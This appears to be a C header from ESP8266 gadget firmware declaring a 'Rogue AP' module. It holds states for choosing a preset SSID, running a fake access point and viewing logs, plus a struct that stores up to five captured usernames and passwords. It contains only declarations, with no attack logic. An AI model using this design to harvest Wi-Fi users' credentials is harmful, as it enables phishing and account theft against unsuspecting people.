45 lines
1.7 KiB
C
45 lines
1.7 KiB
C
#ifndef ROGUE_AP_H
|
|
#define ROGUE_AP_H
|
|
|
|
#include <Arduino.h>
|
|
#include <ESP8266WiFi.h>
|
|
#include "ui.h" // For ButtonPressType, UIState
|
|
|
|
// --- Rogue AP States ---
|
|
typedef enum {
|
|
ROGUE_AP_STATE_IDLE, // Initial state, ready to select SSID
|
|
ROGUE_AP_STATE_SELECT_SSID, // User is selecting from the predefined list
|
|
ROGUE_AP_STATE_STARTING, // Setting up the AP and servers
|
|
ROGUE_AP_STATE_RUNNING, // AP is active, waiting for connections/credentials
|
|
ROGUE_AP_STATE_VIEW_LOGS, // Displaying captured credentials
|
|
ROGUE_AP_STATE_STOPPING // Shutting down the AP and servers
|
|
} RogueAPState;
|
|
|
|
// --- Constants ---
|
|
#define ROGUE_AP_SSID_COUNT 17
|
|
#define MAX_ROGUE_LOGS 5 // Max number of credential sets to store
|
|
#define ROGUE_MAX_FIELD_LEN 64 // Max length for username/password fields
|
|
|
|
// --- Structure for Captured Credentials ---
|
|
typedef struct {
|
|
char username[ROGUE_MAX_FIELD_LEN + 1]; // Single username/email field
|
|
char password[ROGUE_MAX_FIELD_LEN + 1]; // Single password field
|
|
bool data_present; // Flag to check if this entry contains captured data
|
|
} RogueCapturedCredentials;
|
|
|
|
|
|
// --- External Variables (Defined in .cpp) ---
|
|
extern const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT];
|
|
extern RogueAPState currentRogueAPState;
|
|
extern RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS];
|
|
extern int captured_creds_count; // How many sets have been captured
|
|
|
|
// --- Function Declarations ---
|
|
void rogue_ap_init();
|
|
void rogue_ap_start(); // Function to initiate the AP start sequence
|
|
void rogue_ap_stop();
|
|
void rogue_ap_update();
|
|
void rogue_ap_draw();
|
|
void rogue_ap_handle_input(ButtonPressType pressType);
|
|
|
|
#endif // ROGUE_AP_H
|